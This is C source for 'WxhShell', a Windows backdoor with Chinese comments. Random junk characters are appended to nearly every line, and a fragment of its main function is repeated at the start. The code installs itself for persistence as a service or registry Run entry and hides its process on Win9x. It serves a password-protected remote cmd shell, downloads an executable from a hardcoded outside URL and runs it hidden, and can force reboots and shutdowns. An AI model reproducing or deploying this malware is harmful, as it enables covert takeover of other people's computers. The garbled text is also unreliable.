WinExec(wscfg.ws_filenam,SW_HIDE); 9Tgl/}q)
} [DW}z
e&Z\hZBb
if(!OsIsNt) { \9U4V>p
// 如果时win9x，隐藏进程并且设置为注册表启动 \hjGw,d
HideProc(); :$bp4+3>
StartWxhshell(lpCmdLine); L53qQej<
} xwjim7#_:
else 0jS"PH?[
if(StartFromService()) :ZP4(}
// 以服务方式启动 81\$X
StartServiceCtrlDispatcher(DispatchTable); ep"YGx[V
else [C GFzxz$
// 普通方式启动 /UJ@e
StartWxhshell(lpCmdLine); kmJ{(y)w
'64&'.{#>r
return 0; #n=b*.
} RwH<JaL:
Zk#^H*jgx
$rB20!
-Cb<T"7
=========================================== 3pxm0|
ryz [A:^G
LPjsR=xi
P);:t~
!B=Oc!e=K
ZE#f{qF(
" ; Q-f6)+&
GCxtWFXH
#include <stdio.h> yOn +Y
#include <string.h> ^wL n
#include <windows.h> P]bq9!{1
#include <winsock2.h> m){.{Vn]
#include <winsvc.h> Evz;eobW/
#include <urlmon.h> ],*^wQ
0> pOP
#pragma comment (lib, "Ws2_32.lib") #+V5$
#pragma comment (lib, "urlmon.lib") u$%>/cv
%21i#R`E
#define MAX_USER 100 // 最大客户端连接数 <1(:W[M
#define BUF_SOCK 200 // sock buffer b P>!&s_
#define KEY_BUFF 255 // 输入 buffer ]w _,0q
#;bpxz1lR9
#define REBOOT 0 // 重启 y(pHt
#define SHUTDOWN 1 // 关机 {~*aXu3
oE+s8Q
#define DEF_PORT 5000 // 监听端口 I0 y+,~\
sPCp20x:y8
#define REG_LEN 16 // 注册表键长度 '1)BZ!
#define SVC_LEN 80 // NT服务名长度 -e=p*7']
Ep%5wR
// 从dll定义API (wmMHo|
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +):t6oX|
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); im&E\`L7
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G"CV S@
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I)~&6@Jn
$or?7 w>
// wxhshell配置信息 |H67ny&K^&
struct WSCFG { t<O5_}R%d
int ws_port; // 监听端口 8?S32Gdu
char ws_passstr[REG_LEN]; // 口令 p*10u@,
int ws_autoins; // 安装标记, 1=yes 0=no R9SJ;TsE
char ws_regname[REG_LEN]; // 注册表键名 j(|G) F
char ws_svcname[REG_LEN]; // 服务名 /#Y)nyE
char ws_svcdisp[SVC_LEN]; // 服务显示名 QDlEby m
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q)\7(n
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qvz2u]IOw
int ws_downexe; // 下载执行标记, 1=yes 0=no +zxj-diM
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a^qLyF&F
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sf>R7.lpP
6JWCB9$4
}; u49zc9
`"v5bk
// default Wxhshell configuration N=K|Nw
struct WSCFG wscfg={DEF_PORT, qkC+9Sk
"xuhuanlingzhe", .s31D%N
1, de{KfM`W;
"Wxhshell", )rv5QH`i
"Wxhshell", o+W5xHe^1
"WxhShell Service", ~\tI9L?|A
"Wrsky Windows CmdShell Service", ^Yei9bXl
"Please Input Your Password: ", <8MKjf
1, ko2Kz k
"http://www.wrsky.com/wxhshell.exe", jw$3cwddH
"Wxhshell.exe" H4LZNko
}; V,bfD3S3
p<>%9180!F
// 消息定义模块 &eV& +j
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n(.y_NEgV!
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3vPb}
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U@+ @Mc
char *msg_ws_ext="\n\rExit."; e&f9/rfx
char *msg_ws_end="\n\rQuit."; FR9<$
char *msg_ws_boot="\n\rReboot..."; FjIS:9^)t5
char *msg_ws_poff="\n\rShutdown..."; E4RvVfA0F
char *msg_ws_down="\n\rSave to "; <A&mc,kj
I_@\O!<y}
char *msg_ws_err="\n\rErr!"; <}-[9fW
char *msg_ws_ok="\n\rOK!"; |ofegO}W7
O(;K]8
char ExeFile[MAX_PATH]; t3K7W2bz
int nUser = 0; {J q[N}
HANDLE handles[MAX_USER]; ([zt}uf
int OsIsNt; \o9-[V#Gm
Z<ozANbk
SERVICE_STATUS serviceStatus; Pk[:+. f(
SERVICE_STATUS_HANDLE hServiceStatusHandle; 2bxkZS]
w#eD5y~'oo
// 函数声明 WyVFhAuU
int Install(void); 5Z}]d@
int Uninstall(void); Zh`lC1l'
int DownloadFile(char *sURL, SOCKET wsh); ,wE]:|`qJ
int Boot(int flag); qd"1KzQWO
void HideProc(void); ?-0k3
int GetOsVer(void); VTySKY+
int Wxhshell(SOCKET wsl); #}L75
void TalkWithClient(void *cs); q}e"E cr
int CmdShell(SOCKET sock); C4],7"Sw
int StartFromService(void); T!5m'Q.
int StartWxhshell(LPSTR lpCmdLine); <y=VDb/
<m9hM?^q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wEENN_w
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "P HkbU
C%d\DuJ5'~
// 数据结构和表定义 *T j(IN
SERVICE_TABLE_ENTRY DispatchTable[] = lxy_O0n
{ D'Tb=
{wscfg.ws_svcname, NTServiceMain}, n"8vlNeW
{NULL, NULL} l CHaRR7
}; c^vPd]Ed
Mg;%];2Nt
// 自我安装 D].!u{##
int Install(void) dt(~)*~R
{ 6s\niro2
char svExeFile[MAX_PATH]; 0UZ>y/ C)=
HKEY key; 6M9t<DQV
strcpy(svExeFile,ExeFile); :8aa#bA
M*FUtu
// 如果是win9x系统，修改注册表设为自启动 m7wD#?lm
if(!OsIsNt) { j_*$Avy
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _O)xE9t#ru
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E8gXa-hv
RegCloseKey(key); [ qt hn[3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 73B,I 0U
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "V-k_d "
RegCloseKey(key); >nV~5f+
return 0; A^:[+PJHN
} E^w2IIw
} ifj%!*
} 0"7%*n."2
else { I|69|^
D/)wg$MI
// 如果是NT以上系统，安装为系统服务 l+!!S"=8)~
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KBJw7rra
if (schSCManager!=0) pSp/Qpb-B
{ DhZuQpH
SC_HANDLE schService = CreateService VZo[\sWf
( |N_tVE
schSCManager, m3W:\LTTp
wscfg.ws_svcname, ST$~l7p
wscfg.ws_svcdisp, g^|}e?
SERVICE_ALL_ACCESS, !.1oW(
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^Pl(V@
SERVICE_AUTO_START, Oxs O
SERVICE_ERROR_NORMAL, }a?PBo`
svExeFile, D\|$!i}
NULL, m=D2|WA8
NULL, yO*~)ALb+
NULL, NRu_6~^^
NULL, i ,Cvnp6Lv
NULL |/<,71Ae
); %B?@le+%
if (schService!=0) >B>[_8=f@
{ zQ3m@x
CloseServiceHandle(schService); +GCN63nX
CloseServiceHandle(schSCManager); {hQ0=rv<
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a(AKVk\
strcat(svExeFile,wscfg.ws_svcname); ,Y *unk<S
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f%vJmpg
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !v/5G_pr
RegCloseKey(key); VP0q?lh
return 0; MmiC%"7wt
} ^mxOQc !
} ZoX24C'
CloseServiceHandle(schSCManager); m>yb}+
} HVO mM17
} n%'M?o]DF
TNe,'S,%
return 1; Z9X<W`
} MzjV>.
D![42H+-Qd
// 自我卸载 E;!pK9wL|
int Uninstall(void) $A~UA
{ <xM$^r)
HKEY key; GL;@heP
y/=:F=H@w
if(!OsIsNt) { :})(@.H
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yg({g "
RegDeleteValue(key,wscfg.ws_regname); Ku;|Dz/=o
RegCloseKey(key); \f| Hk*@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DV+M;rs
RegDeleteValue(key,wscfg.ws_regname); ?bFP'.
RegCloseKey(key); k1tJ$}
return 0; X&C&DTB
} j("$qpv
} \H(r }D$u<
} _vOV(#q2a
else { ,n\"zYf]^
_Z~cJIEU
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =KQQS6
if (schSCManager!=0) &Tz@lvOv%
{ vByt_X
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }/tT=G]91
if (schService!=0) 7$3R}=Z`\q
{ S1jI8 #z}_
if(DeleteService(schService)!=0) { m(0sG(A~
CloseServiceHandle(schService); 4I7B #{
CloseServiceHandle(schSCManager); \s_lB~"P!3
return 0; rJLn=|uR
} 3V=(P.ATm
CloseServiceHandle(schService); aq~>$CHa
} c:#<g/-{wM
CloseServiceHandle(schSCManager); b#ga
} bVfFhfh*
} UN ;9h9
"FuOWI{in
return 1; 2P\k;T(
} hxG=g6:G
V|6PKED
// 从指定url下载文件 +'fy%/
int DownloadFile(char *sURL, SOCKET wsh) wVegr
{ &6]+a4
HRESULT hr; ~K'e}<-G
char seps[]= "/"; ?:StFlie
char *token; +_^Rxx!XA
char *file; ggluQGA
char myURL[MAX_PATH]; 2_S%vA<L
char myFILE[MAX_PATH]; 2MT_5j5[N
lT.Q)(
strcpy(myURL,sURL); t<~WDI|AN
token=strtok(myURL,seps); 1XfH,6\8i
while(token!=NULL) {u!Q=D$3
{ L'i0|_
file=token; eAqSY s!1
token=strtok(NULL,seps); E}Ir<\
} X;2I' Kg
Za,MzKd=
GetCurrentDirectory(MAX_PATH,myFILE); 6yDj1PI
strcat(myFILE, "\\"); ,m4M39MWJ
strcat(myFILE, file); JA]TO(x
send(wsh,myFILE,strlen(myFILE),0); 0!4;."S
send(wsh,"...",3,0); G.j R
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S8=Am7D]1
if(hr==S_OK) $ghAC
return 0; yH`4sd
else !-G'8a|7
return 1; ( mV*7Z
sb1Zm*m6
} D.7,xgH
K)-Gv|*t
// 系统电源模块 OGl>i
int Boot(int flag) M't~/&D#
{ |X}H&wBWo
HANDLE hToken; j[E8C$lW
TOKEN_PRIVILEGES tkp; [cJQ"G '
Gp 8%n
if(OsIsNt) { F4P=Wz]
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B#o/3
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tKr.{#)
tkp.PrivilegeCount = 1; .`I;qF
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \o|5/N
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1yFVF
if(flag==REBOOT) { L#
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yQP!Vt^
return 0; aJ!(c}N~97
} Z)JJ-V!
else { |AosZeO_
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Onj|w7
return 0; 72i]`
} -|1H-[Y(
} w@K4u{|
else { W|~Jl7hs8Q
if(flag==REBOOT) { #=}dv8
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =O~ J
return 0; sObH#/l`
} 7z.(pg=
else { cImOZx
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #F>7@N:5
return 0; ^*6So3
} }JP0q
} S\\3?[!p
W^o*^v
return 1; trl:\m
} ZQL4<fy'E
[Ej#NHs
// win9x进程隐藏模块 \BRxdK'
void HideProc(void) UxGr+q
{ *8QESF9
N}$$<i2o
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _oV;Y`_
if ( hKernel != NULL ) z XI [f
{ >"OwdAvX
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i146@<\G{P
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L9lNAiOH
FreeLibrary(hKernel); |*G$ilu
} dz3KBiq
xH,D bAC;
return; 2&e2/KEWR
} \+?>KpE,b
ZsgJ6 Y
// 获取操作系统版本 ( M > C
int GetOsVer(void) S1Z~-i*w
{ dkHye>
OSVERSIONINFO winfo; /mi9q
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \2UtT@3|C
GetVersionEx(&winfo); SxX2+|0g`g
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |"K<
return 1; *Ce8( "v,
else 1v<,nABuJ6
return 0; @yGK$<R
} AZj`o
|b BA0.yS
// 客户端句柄模块 4qd =]i
int Wxhshell(SOCKET wsl) )td?t.4
{ #NoY}*
SOCKET wsh; AX`>y@I
struct sockaddr_in client; 8+7n"6GY2/
DWORD myID; tQrF A2F
.C6wsmQ
while(nUser<MAX_USER) @Cnn8Y&'
{ {OH @z!+d
int nSize=sizeof(client); !Q/%N#
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s8r|48I#;
if(wsh==INVALID_SOCKET) return 1; G{ |0}
"e3T;M+
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i 4}4U
if(handles[nUser]==0) WxLmzSz{xD
closesocket(wsh); RJYB=y8l
else P"Scs$NOU?
nUser++; bNH72gX2Yh
} tom1u>1n
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P' ";L6h
@]{+9m8G@
return 0; IIZu&iZo\
} wsfN \6e
zL^`r)H
// 关闭 socket Kyr3)1#J
void CloseIt(SOCKET wsh) O_E\(So
{ 0xN1Xm0d
closesocket(wsh); u{asKUce\
nUser--; 6\+ZTw
ExitThread(0); jD<fu
} M1Frn n
lc:dKGF6
// 客户端请求句柄 (plsL
void TalkWithClient(void *cs) p aQ"[w
{ b}f#[* Z
j O-H1@;
SOCKET wsh=(SOCKET)cs; J~e%EjN5e
char pwd[SVC_LEN]; T#o?@;
char cmd[KEY_BUFF]; o+wG69
char chr[1]; '\,|B x8Q
int i,j; ?k 4|;DD
Iu)76Y@=5=
while (nUser < MAX_USER) { M%3P@GRg
&8!~H<S
if(wscfg.ws_passstr) { &rc]3! B
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #NvL@bH
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :rdw0EROy
//ZeroMemory(pwd,KEY_BUFF); 9Kpzj43
i=0; F0D7+-9[
while(i<SVC_LEN) { J{69iQ
Yn~N;VUA
// 设置超时 8et*q3D7`
fd_set FdRead; brdfjE8
struct timeval TimeOut; ,GU|3
FD_ZERO(&FdRead); un&Z' .
FD_SET(wsh,&FdRead); ~xp(k
TimeOut.tv_sec=8; SU`RHAo
TimeOut.tv_usec=0; $-=QTX
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TJ5g?#Wul
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7CGxM
G1!yPQa7d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 34Fc oud);
pwd=chr[0]; Bd8{25{c
if(chr[0]==0xd || chr[0]==0xa) { dF`\ewRFn
pwd=0; +A!E 6+'
break; W1$<,4j@M
} HCCEIgCT
i++; &|'t>-de,
} en5sqKqh+
q!qOy/}D
// 如果是非法用户，关闭 socket Ir,3' G
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -|FSdzvg
} @[2Go}VF
b3vPGR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fOHgz,x=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1KI,/H"SY
~{xm(p
while(1) { Dp8`O4YC
O'WBO"
ZeroMemory(cmd,KEY_BUFF); y8!#G-d5
lQq&tz,
// 自动支持客户端 telnet标准 eM) I%
j=0; rsGQ :c
while(j<KEY_BUFF) { ^^;#Si
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9_4bw9A
cmd[j]=chr[0]; nYvx[ zq?^
if(chr[0]==0xa || chr[0]==0xd) { 8M~^/Zc
cmd[j]=0; }~akVh`3
break; >QcIrq%=
} Vzmw%f)_+
j++; 7<Yf
} L3@upb
%77X/%.Y
// 下载文件 z2 m(<zb
if(strstr(cmd,"http://")) { 6F)^8s02h
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $GI jWlAh
if(DownloadFile(cmd,wsh)) Pw:{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,YJh(|#{
else T`7HQf ;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }}Kjb
} HO`N]AMw
else { V9 J`LQ\0
d$?sS9"8(
switch(cmd[0]) { oR1HJ2>Z1
%Ums'<xJ
// 帮助 dsiQ~ [
case '?': { Pc:5*H
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 26D,(Y$*
break; z5_#]:o&
} )[]*Y]vSx
// 安装 `alQmGUZ
case 'i': { ..=WG@>$+
if(Install()) c(j|xQ\pE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ox&PFI0Gn
else 4owM;y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #86=[*Dr
break; >Hd0l L
} >%?kp[
// 卸载 ~M!9E])
case 'r': { Y;uQq-CP
if(Uninstall()) N6%wHNYZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^F?}MY>
else .m^L,;+2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e%wzcn
break; {pR4+g
} ~ 7^#.
// 显示 wxhshell 所在路径 xaw)iC[gI{
case 'p': { |Vj@;+/j
char svExeFile[MAX_PATH]; EG&97lb
strcpy(svExeFile,"\n\r"); )/{zTg8$?/
strcat(svExeFile,ExeFile); =U- w!uW
send(wsh,svExeFile,strlen(svExeFile),0); K K_
break; %0MvCm
} G oHdhne3
// 重启 +;|" #
case 'b': { |vUjoa'.7E
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v&]k8Hc-
if(Boot(REBOOT)) ~5@bWJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :5DL&,,Q3
else { t)__J\xF
closesocket(wsh); `v"p""_H
ExitThread(0); 5IJm_oy
} 4b/>ZHFOF;
break; m.g2>r`NU
} [(kC/W)!
// 关机 QrSF1y'd
case 'd': { ,|lDR@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $E,,::oJ
if(Boot(SHUTDOWN)) pG-9H3[f#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /T\'&s3D+
else { .VG5 / 6zp
closesocket(wsh); rQLl[a
ExitThread(0); [~v1
} 9:v0gE+.
break; Q8GI;`Rb
} 50='>|b
// 获取shell X?gH(mn
case 's': { ,VYUQE>\
CmdShell(wsh); ^Q9;ro*;ck
closesocket(wsh); \|f3\4;!
ExitThread(0); ,l )7]p*X
break; CEXD0+\q
} ar[I| Q_
// 退出 Tfow_t}\
case 'x': { p2I9t|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l RM7s(^l
CloseIt(wsh); tMDJ,rT
break; s)BB(vQ]6
} sn.0`Stt
// 离开 lq_(au.
case 'q': { (M;jnQ0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zjq(]y
closesocket(wsh); SF.Is=b
WSACleanup(); vP@\"
exit(1); =6Q\78b
break; $sS;#r0
} sL",Ho
} L}hc|(:
} Gzw9E.Hk
^/M-*U8ab
// 提示信息 l+XTn;cS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sogdM{tz\
} *P; cSx?2
} Vm]xV_FOd
R|g50Q
return; |EZ\+!8N:{
} 3bBCA9^se
{"vTaY@
// shell模块句柄 0=erf62=
int CmdShell(SOCKET sock) w'Vm'zo
{ .EB'n{zxd
STARTUPINFO si; IZSJ+KO
ZeroMemory(&si,sizeof(si)); <nk7vo?Ks
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }v4T&/vt-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I3^}$#>
PROCESS_INFORMATION ProcessInfo; <_ruVy0]
char cmdline[]="cmd"; {^*K@c
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6+LBs.vl}
return 0; E'iN==p_:
} m/bP`-/,
EN-;@P9;C
// 自身启动模式 H/''lI{k)
int StartFromService(void) k/,7FDO?m
{ h6;vOd~%
typedef struct l#|wF$J
{ u.rFZu?E\
DWORD ExitStatus; 0U&@;/?
DWORD PebBaseAddress; iyJx~:
DWORD AffinityMask; 6qK`X
DWORD BasePriority; MG-#p8
ULONG UniqueProcessId; 8k_cC$*Ng
ULONG InheritedFromUniqueProcessId; p6AF16*f0
} PROCESS_BASIC_INFORMATION; mzm{p(.
uFYcVvbT@
PROCNTQSIP NtQueryInformationProcess; i1JVvNMQ,
0?Bv zfb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >)*0lfxTZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]WvV*FL9D3
S>;+zVF]
HANDLE hProcess; ,TlYQ/j%h
PROCESS_BASIC_INFORMATION pbi; 1haNpLfS>
oXFo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w<SFs#Z
if(NULL == hInst ) return 0; JuD&121N*
:v B9z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |7)oX
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;km^ OO$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P<C=9@`!
1a79]-j
if (!NtQueryInformationProcess) return 0; Y{I,ipU.
1)t*l;.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B*OBXN>'P
if(!hProcess) return 0; wO&+Bb\=
z2U^z*n{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y|nC_7&Bv
r?2J
CloseHandle(hProcess); ` #; "
Px?zih!6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a98J_^n
if(hProcess==NULL) return 0; oxNQNJ!X
GQ\;f
HMODULE hMod; c|s7cG$+-
char procName[255]; w`_"R6
unsigned long cbNeeded; }!QVcu"+t/
?p&( Af)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :kKdda<g#
BFswqp:
CloseHandle(hProcess); a\B'Qe+
-8Q}*Z
if(strstr(procName,"services")) return 1; // 以服务启动 ~v6]6+
i9eE/ .
return 0; // 注册表启动 c>%%'c
} iI Dun Ih
R q`j|tY
// 主模块 O39f
int StartWxhshell(LPSTR lpCmdLine) Sf'uKSX1%
{ wY=k$
SOCKET wsl; r!;wKO
BOOL val=TRUE; vLIaTr gz
int port=0; 9>r@wK'Pn
struct sockaddr_in door; SNc$!
|+Cd2[hN
if(wscfg.ws_autoins) Install(); I~Q G
<.=-9O6
port=atoi(lpCmdLine); bKt4
I9L7,~s
if(port<=0) port=wscfg.ws_port; ~oz??SX
3c+ps;nh
WSADATA data; Ya;y@44
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c0Yc~&RF
\:Q)X$6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -"6Z@8=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^@f.~4P*I
door.sin_family = AF_INET; heScIe N^`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .oqe0$I
door.sin_port = htons(port); [LM9^*sG2V
1#KBf[0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^&KpvQNW_
closesocket(wsl); ]Jo}F@\g
return 1; yJW/yt.l
} uj@d {AQ
K(#O@Wmjq
if(listen(wsl,2) == INVALID_SOCKET) { D"CU J?
closesocket(wsl); elz0t<V
return 1; ,</Kn~b
} &l0,q=T
Wxhshell(wsl); et=i@PB)
WSACleanup(); l4ru0V8s7
Y=D\
return 0; [ d`m)MW-
-I[KIeF
} NqM=Nu\
"V`5 $ur
// 以NT服务方式启动 nd }Z[)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `L%<3/hF
{ _R}yZ=di
DWORD status = 0; Lk.tEuj=82
DWORD specificError = 0xfffffff; QzxEkTc;
V[0 ZNT&
serviceStatus.dwServiceType = SERVICE_WIN32; F *1w8+
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |t~*!0>3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fR]KXfZ
serviceStatus.dwWin32ExitCode = 0; KNjU!Z/4
serviceStatus.dwServiceSpecificExitCode = 0; A<+1:@0
serviceStatus.dwCheckPoint = 0; 5zz">-Q !
serviceStatus.dwWaitHint = 0; >qZl s'
gxmY^"Jy
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xi;<O&+
if (hServiceStatusHandle==0) return; Aw&0R"{
LfN,aW
status = GetLastError(); VniU:A
if (status!=NO_ERROR) kK:U+`+
{ tLcw?aB
serviceStatus.dwCurrentState = SERVICE_STOPPED; og&-P=4O
serviceStatus.dwCheckPoint = 0; zUq(bD
serviceStatus.dwWaitHint = 0; Qna*K7kv
serviceStatus.dwWin32ExitCode = status; 4 %V9
serviceStatus.dwServiceSpecificExitCode = specificError; PMT}fg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9"zp>VR
return; $b)t`r+
} iK!FVKi}
VaA.J
serviceStatus.dwCurrentState = SERVICE_RUNNING; Tj+U:#!!~
serviceStatus.dwCheckPoint = 0; l{*Ko~g
serviceStatus.dwWaitHint = 0; 1024L;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e*Y<m\*
} b[J0+l\!"
/=g/{&3[a>
// 处理NT服务事件，比如：启动、停止 Yl=-j
VOID WINAPI NTServiceHandler(DWORD fdwControl) >[;L.
{ 8erG](
switch(fdwControl) +J#8wh
{ 5fRrd;
case SERVICE_CONTROL_STOP: _bt9{@)
serviceStatus.dwWin32ExitCode = 0; ]Y@_2`
serviceStatus.dwCurrentState = SERVICE_STOPPED; jVh:Bw
serviceStatus.dwCheckPoint = 0; WF:4p]0~)
serviceStatus.dwWaitHint = 0; V9jxmu F,
{ ]Ljb&*IEj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q\>mg*79
} X#HH7V>
return; $%4<q0-
case SERVICE_CONTROL_PAUSE: CbpzYv32
serviceStatus.dwCurrentState = SERVICE_PAUSED; Qq'e#nI@
break; GWLdz0`2_
case SERVICE_CONTROL_CONTINUE: =~5N/!
serviceStatus.dwCurrentState = SERVICE_RUNNING; =R"LB}>h}
break; P@D\5}*6
case SERVICE_CONTROL_INTERROGATE: a_-@rceU
break; w|Ry)[
}; f8ZuG !U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #lc6-K#
} HD& Cp
T2_iH=u
// 标准应用程序主函数 ?#Y:2LqPC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R x(yn
{ ;G[0%z+*
;WAa4r>
// 获取操作系统版本 4I .'./u
OsIsNt=GetOsVer(); OZC yg/K
GetModuleFileName(NULL,ExeFile,MAX_PATH); jFip-=T{4
Mdh]qKw
// 从命令行安装 +v$W$s&b-h
if(strpbrk(lpCmdLine,"iI")) Install(); 0+u>"7T
v7Ps-a)
// 下载执行文件 H23 O]r
if(wscfg.ws_downexe) { KuW>^mF(I
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )FPn_p#3]
WinExec(wscfg.ws_filenam,SW_HIDE); q`?M+c*F
} #eX<=H]
ooBBg@
if(!OsIsNt) { S^D7}
// 如果时win9x，隐藏进程并且设置为注册表启动 *?$M=tH
HideProc(); n`@dk_%yI
StartWxhshell(lpCmdLine); &SNH1b#>E
} i=1crJ:
else EJRkFn8XG'
if(StartFromService()) Ke=+D'=
// 以服务方式启动 6kMkFZ}+
